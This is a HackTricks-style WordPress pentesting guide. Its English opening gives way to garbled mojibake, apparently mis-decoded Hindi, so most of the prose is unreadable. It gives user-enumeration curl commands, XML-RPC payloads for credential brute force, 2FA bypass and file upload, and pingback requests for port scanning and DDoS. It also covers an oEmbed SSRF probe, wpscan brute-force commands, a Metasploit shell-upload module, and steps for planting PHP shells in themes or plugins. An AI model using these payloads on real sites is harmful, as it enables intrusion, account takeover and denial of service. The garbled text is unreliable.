hacktricks/network-services-pentesting/pentesting-web/wordpress.md

37 KiB

Wordpress

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

Basic Information

Uploaded files go to: http://10.10.10.10/wp-content/uploads/2018/08/a.txt
Themes files can be found in /wp-content/themes/, so if you change some php of the theme to get RCE you probably will use that path. For example: Using theme twentytwelve you can access the 404.php file in: /wp-content/themes/twentytwelve/404.php
Another useful url could be: /wp-content/themes/default/404.php

In wp-config.php you can find the root password of the database.

Default login paths to check: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt contains useful information such as the version WordPress installed.
  • wp-activate.php is used for the email activation process when setting up a new WordPress site.
  • Login folders (may be renamed to hide it):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php is a file that represents a feature of WordPress that enables data to be transmitted with HTTP acting as the transport mechanism and XML as the encoding mechanism. This type of communication has been replaced by the WordPress REST API.
  • The wp-content folder is the main directory where plugins and themes are stored.
  • wp-content/uploads/ Is the directory where any files uploaded to the platform are stored.
  • wp-includes/ This is the directory where core files are stored, such as certificates, fonts, JavaScript files, and widgets.
  • wp-sitemap.xml In Wordpress versions 5.5 and greater, Worpress generates a sitemap XML file with all public posts and publicly queryable post types and taxonomies.

Post exploitation

  • The wp-config.php file contains information required by WordPress to connect to the database such as the database name, database host, username and password, authentication keys and salts, and the database table prefix. This configuration file can also be used to activate DEBUG mode, which can useful in troubleshooting.

Users Permissions

  • Administrator
  • Editor: Publish and manages his and others posts
  • Author: Publish and manage his own posts
  • Contributor: Write and manage his posts but cannot publish them
  • Subscriber: Browser posts and edit their profile

Passive Enumeration

Get WordPress version

Check if you can find the files /license.txt or /readme.html

Inside the source code of the page (example from https://wordpress.org/support/article/pages/):

  • grep
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS рд▓рд┐рдВрдХ рдлрд╝рд╛рдЗрд▓реЗрдВ

  • JavaScript рдлрд╝рд╛рдЗрд▓реЗрдВ

рдкреНрд▓рдЧрдЗрдиреНрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

рдереАрдо рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

{% code overflow="wrap" %}

curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

рд╕рд╛рдорд╛рдиреНрдп рд░реВрдк рд╕реЗ рд╕рдВрд╕реНрдХрд░рдг рдирд┐рдХрд╛рд▓реЗрдВ

{% code overflow="wrap" %}

curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

{% endcode %}


Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВред
рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

рд╕рдХреНрд░рд┐рдп рдЧрдгрдирд╛

рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдо

рдЖрдк рд╢рд╛рдпрдж рд╕рднреА рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдо рдирд╣реАрдВ рдвреВрдВрдв рдкрд╛рдПрдВрдЧреЗред рд╕рднреА рдХреЛ рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдкрдХреЛ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдФрд░ рдереАрдо рдХреА рд╕реВрдЪреА рдкрд░ рд╕рдХреНрд░рд┐рдп рд░реВрдк рд╕реЗ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдирд╛ рд╣реЛрдЧрд╛ (рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдЗрд╕ рд╕реВрдЪреА рдХреЛ рд╢рд╛рдорд┐рд▓ рдХрд░рдиреЗ рд╡рд╛рд▓реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдЙрдкрдХрд░рдг рд╣реИрдВ)ред

рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛

рдЖрдИрдбреА рдмреНрд░реВрдЯ

рдЖрдк рдПрдХ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рд╕рд╛рдЗрдЯ рд╕реЗ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЖрдИрдбреА рдХреЛ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рдХрд░рдХреЗ рдорд╛рдиреНрдп рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкреНрд░рд╛рдкреНрдд рдХрд░рддреЗ рд╣реИрдВ:

curl -s -I -X GET http://blog.example.com/?author=1

рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛рдПрдБ 200 рдпрд╛ 30X рд╣реИрдВ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдЖрдИрдбреА рдорд╛рдиреНрдп рд╣реИред рдпрджрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ 400 рд╣реИ, рддреЛ рдЖрдИрдбреА рдЕрдорд╛рдиреНрдп рд╣реИред

wp-json

рдЖрдк рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рднреА рдХреНрд╡реЗрд░реА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

curl http://blog.example.com/wp-json/wp/v2/users

рдПрдХ рдФрд░ /wp-json/ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдЬреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдХреБрдЫ рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рдХрдЯ рдХрд░ рд╕рдХрддрд╛ рд╣реИ:

curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдпрд╣ рдПрдВрдбрдкреЙрдЗрдВрдЯ рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЛ рдЙрдЬрд╛рдЧрд░ рдХрд░рддрд╛ рд╣реИ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдПрдХ рдкреЛрд╕реНрдЯ рдмрдирд╛рдИ рд╣реИред рдХреЗрд╡рд▓ рдЙрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреА рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рджрд╛рди рдХреА рдЬрд╛рдПрдЧреА рдЬрд┐рдирдХреЗ рдкрд╛рд╕ рдпрд╣ рд╕реБрд╡рд┐рдзрд╛ рд╕рдХреНрд╖рдо рд╣реИред

рдпрд╣ рднреА рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ /wp-json/wp/v2/pages рдЖрдИрдкреА рдкрддреЗ рд▓реАрдХ рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рд▓реЙрдЧрд┐рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдЧрдгрдирд╛

рдЬрдм /wp-login.php рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рддреЗ рд╣реИрдВ рддреЛ рд╕рдВрджреЗрд╢ рд╡рд┐рднрд┐рдиреНрди рд╣реЛрддрд╛ рд╣реИ рдпрджрд┐ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдореМрдЬреВрдж рд╣реИ рдпрд╛ рдирд╣реАрдВред

XML-RPC

рдпрджрд┐ xml-rpc.php рд╕рдХреНрд░рд┐рдп рд╣реИ рддреЛ рдЖрдк рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреНрдп рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдкрд░ DoS рд╣рдорд▓реЗ рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред (рдЖрдк рдЗрд╕ рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП)ред

рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдпрд╣ рд╕рдХреНрд░рд┐рдп рд╣реИ, /xmlrpc.php рдкрд░ рдкрд╣реБрдВрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рдпрд╣ рдЕрдиреБрд░реЛрдз рднреЗрдЬреЗрдВ:

рдЬрд╛рдВрдЪреЗрдВ

<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдмреНрд░реВрдЯрдлреЛрд░реНрд╕

wp.getUserBlogs, wp.getCategories рдпрд╛ metaWeblog.getUsersBlogs рдХреБрдЫ рдРрд╕реЗ рддрд░реАрдХреЗ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреЛ рдмреНрд░реВрдЯ-рдлреЛрд░реНрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдпрджрд┐ рдЖрдк рдЗрдирдореЗрдВ рд╕реЗ рдХреЛрдИ рднреА рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ:

<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

рд╕рдВрджреЗрд╢ "рдЧрд▓рдд рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдпрд╛ рдкрд╛рд╕рд╡рд░реНрдб" 200 рдХреЛрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рдЕрдВрджрд░ рддрдм рджрд┐рдЦрд╛рдИ рджреЗрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬрдм рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдорд╛рдиреНрдп рдирд╣реАрдВ рд╣реЛрддреЗред

рд╕рд╣реА рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЖрдк рдПрдХ рдлрд╝рд╛рдЗрд▓ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рдкрде рджрд┐рдЦрд╛рдИ рджреЗрдЧрд╛ (https://gist.github.com/georgestephanis/5681982)

<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

Also there is a faster way to brute-force credentials using system.multicall as you can try several credentials on the same request:

2FA рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░реЗрдВ

рдпрд╣ рд╡рд┐рдзрд┐ рдХрд╛рд░реНрдпрдХреНрд░рдореЛрдВ рдХреЗ рд▓рд┐рдП рд╣реИ рдФрд░ рдордиреБрд╖реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ, рдФрд░ рдкреБрд░рд╛рдиреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдпрд╣ 2FA рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддреАред рдЗрд╕рд▓рд┐рдП, рдпрджрд┐ рдЖрдкрдХреЗ рдкрд╛рд╕ рдорд╛рдиреНрдп рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рд╣реИрдВ рд▓реЗрдХрд┐рди рдореБрдЦреНрдп рдкреНрд░рд╡реЗрд╢ 2FA рджреНрд╡рд╛рд░рд╛ рд╕реБрд░рдХреНрд╖рд┐рдд рд╣реИ, рддреЛ рдЖрдк xmlrpc.php рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрди рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓ рдХреЗ рд╕рд╛рде 2FA рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рддреЗ рд╣реБрдП рд▓реЙрдЧрд┐рди рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдк рдХрдВрд╕реЛрд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдП рдЬрд╛ рд╕рдХрдиреЗ рд╡рд╛рд▓реЗ рд╕рднреА рдХрд╛рд░реНрдп рдирд╣реАрдВ рдХрд░ рдкрд╛рдПрдВрдЧреЗ, рд▓реЗрдХрд┐рди рдЖрдк рдЕрднреА рднреА RCE рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдЬреИрд╕рд╛ рдХрд┐ Ippsec рдЗрд╕реЗ https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s рдореЗрдВ рд╕рдордЭрд╛рддрд╛ рд╣реИред

DDoS рдпрд╛ рдкреЛрд░реНрдЯ рд╕реНрдХреИрдирд┐рдВрдЧ

рдпрджрд┐ рдЖрдк рд╕реВрдЪреА рдХреЗ рдЕрдВрджрд░ pingback.ping рд╡рд┐рдзрд┐ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ рддреЛ рдЖрдк Wordpress рдХреЛ рдХрд┐рд╕реА рднреА рд╣реЛрд╕реНрдЯ/рдкреЛрд░реНрдЯ рдкрд░ рдордирдорд╛рдирд╛ рдЕрдиреБрд░реЛрдз рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВред
рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╣рдЬрд╛рд░реЛрдВ Wordpress рд╕рд╛рдЗрдЯреЛрдВ рд╕реЗ рдПрдХ рд╕реНрдерд╛рди (рддреЛ рдЙрд╕ рд╕реНрдерд╛рди рдкрд░ DDoS рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ) рдПрдХреНрд╕реЗрд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдпрд╛ рдЖрдк рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ Wordpress рдХреЛ рдХреБрдЫ рдЖрдВрддрд░рд┐рдХ рдиреЗрдЯрд╡рд░реНрдХ рдХреЛ рд╕реНрдХреИрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ (рдЖрдк рдХрд┐рд╕реА рднреА рдкреЛрд░реНрдЯ рдХреЛ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ)ред

<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

рдпрджрд┐ рдЖрдкрдХреЛ faultCode рдПрдХ рдорд╛рди 0 (17) рд╕реЗ рдмрдбрд╝рд╛ рдорд┐рд▓рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рдкреЛрд░реНрдЯ рдЦреБрд▓рд╛ рд╣реИред

рдЗрд╕ рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП system.multicall рдХреЗ рдкрд┐рдЫрд▓реЗ рдЕрдиреБрднрд╛рдЧ рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦреЗрдВ рддрд╛рдХрд┐ DDoS рдХрд╛ рдХрд╛рд░рдг рдмрди рд╕рдХреЗрдВред

DDoS

<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

рдпрд╣ рдлрд╝рд╛рдЗрд▓ рдЖрдорддреМрд░ рдкрд░ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рд╕рд╛рдЗрдЯ рдХреА рдЬрдбрд╝ рдХреЗ рддрд╣рдд рдореМрдЬреВрдж рд╣реЛрддреА рд╣реИ: /wp-cron.php
рдЬрдм рдЗрд╕ рдлрд╝рд╛рдЗрд▓ рдХреЛ рдПрдХреНрд╕реЗрд╕ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдПрдХ "рднрд╛рд░реА" MySQL рдХреНрд╡реЗрд░реА рдирд┐рд╖реНрдкрд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ, рдЗрд╕рд▓рд┐рдП рдЗрд╕реЗ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рджреНрд╡рд╛рд░рд╛ DoS рдХрд╛рд░рдг рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, wp-cron.php рд╣рд░ рдкреГрд╖реНрда рд▓реЛрдб рдкрд░ (рдЬрдм рднреА рдХреЛрдИ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛрдИ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдкреГрд╖реНрда рдЕрдиреБрд░реЛрдз рдХрд░рддрд╛ рд╣реИ) рдХреЙрд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдЙрдЪреНрдЪ-рдЯреНрд░реИрдлрд╝рд┐рдХ рд╕рд╛рдЗрдЯреЛрдВ рдкрд░ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд░ рд╕рдХрддрд╛ рд╣реИ (DoS)ред

Wp-Cron рдХреЛ рдЕрдХреНрд╖рдо рдХрд░рдирд╛ рдФрд░ рд╣реЛрд╕реНрдЯ рдХреЗ рдЕрдВрджрд░ рдПрдХ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдХреНрд░реЛрдирдЬреЙрдм рдмрдирд╛рдирд╛ рдЬреЛ рдирд┐рдпрдорд┐рдд рдЕрдВрддрд░рд╛рд▓ рдкрд░ рдЖрд╡рд╢реНрдпрдХ рдХреНрд░рд┐рдпрд╛рдПрдБ рдХрд░рддрд╛ рд╣реИ (рдмрд┐рдирд╛ рд╕рдорд╕реНрдпрд╛рдПрдБ рдкреИрджрд╛ рдХрд┐рдП) рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИред

/wp-json/oembed/1.0/proxy - SSRF

https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ рдФрд░ рд╡рд░реНрдбрдкреНрд░реЗрд╕ рд╕рд╛рдЗрдЯ рдЖрдкрд╕реЗ рдЕрдиреБрд░реЛрдз рдХрд░ рд╕рдХрддреА рд╣реИред

рдЬрдм рдпрд╣ рдХрд╛рдо рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИ рддреЛ рдпрд╣ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реИ:

SSRF

{% embed url="https://github.com/t0gu/quickpress/blob/master/core/requests.go" %}

рдпрд╣ рдЙрдкрдХрд░рдг рдЬрд╛рдВрдЪрддрд╛ рд╣реИ рдХрд┐ methodName: pingback.ping рдФрд░ рдкрде /wp-json/oembed/1.0/proxy рд╣реИ рдФрд░ рдпрджрд┐ рдпрд╣ рдореМрдЬреВрдж рд╣реИ, рддреЛ рдпрд╣ рдЙрдиреНрд╣реЗрдВ рд╢реЛрд╖рдг рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░рддрд╛ рд╣реИред

Automatic Tools

cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"


Trickest рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рддрд╛рдХрд┐ рдЖрдк рджреБрдирд┐рдпрд╛ рдХреЗ рд╕рдмрд╕реЗ рдЙрдиреНрдирдд рд╕рд╛рдореБрджрд╛рдпрд┐рдХ рдЙрдкрдХрд░рдгреЛрдВ рджреНрд╡рд╛рд░рд╛ рд╕рдВрдЪрд╛рд▓рд┐рдд рдХрд╛рд░реНрдпрдкреНрд░рд╡рд╛рд╣реЛрдВ рдХреЛ рдЖрд╕рд╛рдиреА рд╕реЗ рдмрдирд╛ рдФрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░ рд╕рдХреЗрдВред
рдЖрдЬ рд╣реА рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:

{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=wordpress" %}

рдереЛрдбрд╝рд╛ рдУрд╡рд░рд░рд╛рдЗрдЯ рдХрд░рдХреЗ рдПрдХреНрд╕реЗрд╕ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдпрд╣ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдПрдХ рд╣рдорд▓рд╛ рдирд╣реАрдВ рд╣реИ, рдмрд▓реНрдХрд┐ рдПрдХ рдЬрд┐рдЬреНрдЮрд╛рд╕рд╛ рд╣реИред CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man рдореЗрдВ рдЖрдк рдХрд┐рд╕реА рднреА рд╡рд░реНрдбрдкреНрд░реЗрд╕ рдлрд╝рд╛рдЗрд▓ рд╕реЗ 1 рдмрд┐рдЯ рдХреЛ рдкрд▓рдЯ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕рд▓рд┐рдП рдЖрдк рдлрд╝рд╛рдЗрд▓ /var/www/html/wp-includes/user.php рдХреЗ 5389 рд╕реНрдерд┐рддрд┐ рдХреЛ рдкрд▓рдЯ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ NOT (!) рдСрдкрд░реЗрд╢рди рдХреЛ NOP рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред

if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

рдкреИрдирд▓ RCE

рдереАрдо рд╕реЗ рдПрдХ php рдХреЛ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд░рдирд╛ (рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ)

рджреГрд╢реНрдпрддрд╛ тЖТ рдереАрдо рд╕рдВрдкрд╛рджрдХ тЖТ 404 рдЯреЗрдореНрдкрд▓реЗрдЯ (рджрд╛рдИрдВ рдУрд░)

рдПрдХ php рд╢реЗрд▓ рдХреЗ рд▓рд┐рдП рд╕рд╛рдордЧреНрд░реА рдмрджрд▓реЗрдВ:

рдЗрдВрдЯрд░рдиреЗрдЯ рдкрд░ рдЦреЛрдЬреЗрдВ рдХрд┐ рдЖрдк рдЙрд╕ рдЕрдкрдбреЗрдЯреЗрдб рдкреГрд╖реНрда рддрдХ рдХреИрд╕реЗ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЖрдкрдХреЛ рдпрд╣рд╛рдБ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

рдЖрдк рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

use exploit/unix/webapp/wp_admin_shell_upload

to get a session.

Plugin RCE

PHP plugin

рдпрд╣ рд╕рдВрднрд╡ рд╣реИ рдХрд┐ рдЖрдк рдПрдХ рдкреНрд▓рдЧрдЗрди рдХреЗ рд░реВрдк рдореЗрдВ .php рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд░ рд╕рдХреЗрдВред
рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЕрдкрдиреЗ php рдмреИрдХрдбреЛрд░ рдХреЛ рдмрдирд╛рдПрдВ:

рдлрд┐рд░ рдПрдХ рдирдпрд╛ рдкреНрд▓рдЧрдЗрди рдЬреЛрдбрд╝реЗрдВ:

рдкреНрд▓рдЧрдЗрди рдЕрдкрд▓реЛрдб рдХрд░реЗрдВ рдФрд░ рдЕрднреА рдЗрдВрд╕реНрдЯреЙрд▓ рдХрд░реЗрдВ рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ:

рдкреНрд░реЛрд╕реАрдб рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░реЗрдВ:

